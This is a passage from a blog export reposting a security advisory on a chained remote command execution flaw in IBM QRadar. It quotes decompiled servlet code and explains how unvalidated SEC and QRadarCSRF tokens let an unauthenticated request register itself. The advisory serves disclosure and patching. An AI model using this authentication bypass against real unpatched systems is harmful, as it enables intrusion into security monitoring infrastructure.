{"id":12413,"date":"2018-05-28T14:19:10","date_gmt":"2018-05-28T22:19:10","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2018\/05\/28\/news-6182\/"},"modified":"2018-05-28T14:19:10","modified_gmt":"2018-05-28T22:19:10","slug":"news-6182","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2018\/05\/28\/news-6182\/","title":{"rendered":"SSD Advisory &#8211; QRadar Remote Command Execution"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Noam Rathaus| Date: Mon, 28 May 2018 10:53:15 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3689\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><br \/><script>var obj = jQuery('#a-href-3689');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script> See our full scope at: <a href=\"https:\/\/blogs.securiteam.com\/index.php\/product_scope\">https:\/\/blogs.securiteam.com\/index.php\/product_scope<\/a><\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerability Summary<\/strong><br \/> Multiple vulnerabilities in QRadar allow a remote unauthenticated attackers to cause the product to execute arbitrary commands. Each vulnerability on its own is not as strong as their chaining &#8211; which allows a user to change from unauthenticated to authenticated access, to running commands, and finally running these commands with root privileges.<\/p>\n<p><strong>Vendor Response<\/strong><br \/> The vendor has issued a patch which can be found by visiting this page: http:\/\/www.ibm.com\/support\/docview.wss?uid=swg22015797<\/p>\n<p><strong>CVE<\/strong><br \/> CVE-2018-1418<br \/> (NOTE while only a single CVE was issued three vulnerabilities were patched by the vendor)<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.<br \/> <span id=\"more-3689\"><\/span><br \/> <strong>Vulnerability Details<\/strong><br \/> QRadar has a built-in application to perform forensic analysis on certain files. This is disabled in the free Community Edition, but the code is still there, and part of it still works. This application has two components, one servlet running in Java, and the main web application running PHP. This exploit chain abuses both components of the forensics application to bypass authentication and write a file to disk, and then it abuses a cron job to escalate privileges to root.<\/p>\n<p>QRadar has an Apache reverse proxy sitting in front of all its web applications, which routes requests according to the URL. Requests sent to \/console\/* get routed to the main &#8220;console&#8221; application, which not only runs the web interface but also performs the main functions of QRadar. Then there are several helper applications, such as the forensics application described above, which can be reached at \/forensics and \/ForensicAnalysisServlet, the SOLR server, reachable at \/solr and others.<\/p>\n<p><strong>Technical details<\/strong><br \/> <em>Vulnerability: Authentication Bypass (in ForensicAnalysisServlet)<\/em><br \/> Attack Vector: Remote<br \/> Constraints: None<br \/> Affected products \/ versions:<br \/> &#8211; IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions released since mid-2014 are affected<\/p>\n<p>QRadar authentication is done via a SEC cookie, which is a session UUID. This is managed centrally by a session manager which runs in the main QRadar console application. The SEC cookies can be obtained in three ways:<br \/> &#8211; Upon login in the main console application<br \/> &#8211; Using a previously created authorisation token (also created in the console)<br \/> &#8211; From the \/etc\/qradar\/conf\/host.token file, which contains a UUID generated at install time, used by internal services to perform administrative actions.<\/p>\n<p>The ForensicAnalysisServlet stores the SEC cookie in a HashMap, and then checks if the cookie is valid with the console application before committing any action&#8230; except for one specific codepath.<\/p>\n<p>The function doGetOrPost() processes all requests to ForensicsAnalysisServlet. This function does a number of actions, such as fetching a results file, checking the status of an analysis request, etc. In order to authenticate, the requester has to have its SEC and QRadarCSRF tokens registered with the servlet. This is done by application with the setSecurityTokens action, with which a requester specifies both tokens and registers them with the servlet. In order to perform authentication for the setSecurityTokens action, the servlet checks if the host.token SEC cookie was sent with the request.<\/p>\n<p>However, if the forensicsManagedHostIps parameter is sent with the setSecurityTokens action, doGetOrPost() will pass on the request to doPassThrough() before authenticating it:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4d2558674082\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> protected void doGetOrPost(HttpServletRequest request, HttpServletResponse response) throws InterruptedException, IOException, ServletException, SolrServerException {  &#8230;  \t\tString SEC = &#8220;&#8221;;  \t\tString QRadarCSRF = &#8220;&#8221;;  \t\tCookie[] requestCookies = request.getCookies();  \t\tif(requestCookies != null) {  \t\t\tCookie[] var6 = requestCookies;  \t\t\tint var7 = requestCookies.length;    \t\t\tfor(int var8 = 0; var8 &lt; var7; ++var8) {  \t\t\t\tCookie cookie = var6[var8];  \t\t\t\tif(cookie.getName().equals(&#8220;SEC&#8221;)) {  \t\t\t\t\tSEC = cookie.getValue();  \t\t\t\t}    \t\t\t\tif(cookie.getName().equals(&#8220;QRadarCSRF&#8221;)) {  \t\t\t\t\tQRadarCSRF = cookie.getValue();  \t\t\t\t}  \t\t\t}  \t\t}    \t\tif(!SEC.isEmpty() &amp;&amp; !QRadarCSRF.isEmpty()) {\t\t\t\t\t\t\t&lt;&#8212;&#8211; checks if the cookies exist, but doesn&#8217;t validate their values  \t\t\tString actionParameterValue = &#8220;&#8221; + request.getParameter(&#8220;action&#8221;);  \t\t\tactionParameterValue = actionParameterValue.trim();  \t\t\tif(!actionParameterValue.equals(&#8220;null&#8221;) &amp;&amp; !actionParameterValue.isEmpty()) {  \t\t\t\tString solrDocIdsString = &#8220;&#8221;;  \t\t\t\tString responseHash;  \t\t\t\tif(!actionParameterValue.equals(&#8220;setSecurityTokens&#8221;)) {\t\t\t\t&lt;&#8212;&#8211; if the parameter is setSecurityTokens, doesn&#8217;t validate the cookies  \t\t\t\t\tif(!this.SECCookiesMap.containsKey(SEC) || !this.QRadarCSRFCookiesMap.containsKey(QRadarCSRF)) {  \t\t\t\t\t\tlogger.error(&#8220;No valid forensics analysis SEC or QRadarCSRF cookie(s) found.&#8221;);  \t\t\t\t\t\tresponse.setStatus(403);  \t\t\t\t\t\treturn;  \t\t\t\t\t}    \t\t\t\t\tsolrDocIdsString = &#8220;&#8221; + request.getParameter(&#8220;solrDocIds&#8221;);  \t\t\t\t\tif(solrDocIdsString.equals(&#8220;null&#8221;) || solrDocIdsString.trim().isEmpty()) {  \t\t\t\t\t\tBufferedReader bufferedReader = request.getReader();  \t\t\t\t\t\tsolrDocIdsString = &#8220;&#8221;;    \t\t\t\t\t\tfor(responseHash = &#8220;&#8221;; (responseHash = bufferedReader.readLine()) != null; solrDocIdsString = solrDocIdsString + responseHash) {  \t\t\t\t\t\t\t;  \t\t\t\t\t\t}    \t\t\t\t\t\tbufferedReader.close();  \t\t\t\t\t}  \t\t\t\t}    \t\t\t\tString forensicsManagedHostIps = &#8220;&#8221; + request.getParameter(&#8220;forensicsManagedHostIps&#8221;);  \t\t\t\tif(!forensicsManagedHostIps.equals(&#8220;null&#8221;)) {  \t\t\t\t\tforensicsManagedHostIps = forensicsManagedHostIps.trim();  \t\t\t\t\tif(forensicsManagedHostIps.isEmpty()) {  \t\t\t\t\t\tthrow new ServletException(&#8220;No valid forensics analysis forensicsManagedHostIps parameter found.&#8221;);  \t\t\t\t\t}    \t\t\t\t\tresponseHash = InetAddress.getLocalHost().getHostAddress();  \t\t\t\t\tforensicsManagedHostIps = forensicsManagedHostIps.replaceAll(responseHash, &#8220;&#8221;);  \t\t\t\t\tif(!forensicsManagedHostIps.isEmpty()) {  \t\t\t\t\t\tthis.doPassThrough(request, response, forensicsManagedHostIps, solrDocIdsString, actionParameterValue);\t\t&lt;&#8212;&#8211; if the forensicsManagedHostIps parameter is set, call doPassThrough  \t\t\t\t\t\treturn;  \t\t\t\t\t}  \t\t\t\t}  &#8230;  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0073 seconds] -->  <\/p>\n<p>doPassThrough() also validates if the request contains a valid SEC cookie&#8230; at some point. The problem is that if we send the setSecurityTokens action, in the beginning of the function the SEC and QRadarCSRF values are added to the servlet HashMap of valid tokens&#8230; before being validated:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4dd084927657\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> private void doPassThrough(HttpServletRequest request, HttpServletResponse response, String forensicsManagedHostIps, String solrDocIdsString, String actionParameterValue) throws IOException, ServletException {    String method = request.getMethod().toUpperCase();    String securityTokensString = &#8220;&#8221;;    String[] securityTokens = null;    RequestBuilder requestBuilder = RequestBuilder.create(method);    String QRadarCSRF;    if(!method.equals(&#8220;GET&#8221;)) {      if(!actionParameterValue.equals(&#8220;setSecurityTokens&#8221;)) {        requestBuilder.setEntity(new StringEntity(solrDocIdsString, &#8220;UTF-8&#8221;));      } else {        BufferedReader bufferedReader = request.getReader();          for(QRadarCSRF = &#8220;&#8221;; (QRadarCSRF = bufferedReader.readLine()) != null; securityTokensString = securityTokensString + QRadarCSRF) {          ;        }          bufferedReader.close();        securityTokens = securityTokensString.split(&#8220;,&#8221;);        this.SECCookiesMap.put(securityTokens[2], Long.valueOf((new Date()).getTime()));\t\t\t\t\t&lt;&#8212;- POST values are added here if the setSecurityTokens parameter is set        this.QRadarCSRFCookiesMap.put(securityTokens[3], Long.valueOf((new Date()).getTime()));      }    }  &#8230;  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4dd084927657-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4dd084927657-24\">24<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-1\"><span class=\"crayon-m\">private<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">doPassThrough<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">HttpServletRequest <\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HttpServletResponse <\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">forensicsManagedHostIps<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">solrDocIdsString<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">actionParameterValue<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">throws <\/span><span class=\"crayon-v\">IOException<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ServletException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-2\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">method<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getMethod<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">toUpperCase<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-3\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">securityTokensString<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-4\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">securityTokens<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-5\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">RequestBuilder <\/span><span class=\"crayon-v\">requestBuilder<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RequestBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">create<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">method<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-6\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">QRadarCSRF<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-7\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">method<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">equals<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;GET&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">actionParameterValue<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">equals<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;setSecurityTokens&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">requestBuilder<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setEntity<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">StringEntity<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">solrDocIdsString<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;UTF-8&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">BufferedReader <\/span><span class=\"crayon-v\">bufferedReader<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getReader<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-12\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">QRadarCSRF<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">QRadarCSRF<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">bufferedReader<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">readLine<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">securityTokensString<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">securityTokensString<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">QRadarCSRF<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-16\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">bufferedReader<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">close<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">securityTokens<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">securityTokensString<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;,&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">SECCookiesMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">put<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">securityTokens<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Long<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">valueOf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Date<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getTime<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">\t\t\t\t\t<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">POST <\/span><span class=\"crayon-e\">values <\/span><span class=\"crayon-e\">are <\/span><span class=\"crayon-e\">added <\/span><span class=\"crayon-e\">here <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">setSecurityTokens <\/span><span class=\"crayon-e\">parameter <\/span><span class=\"crayon-st\">is<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">set<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-20\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">QRadarCSRFCookiesMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">put<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">securityTokens<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Long<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">valueOf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Date<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span 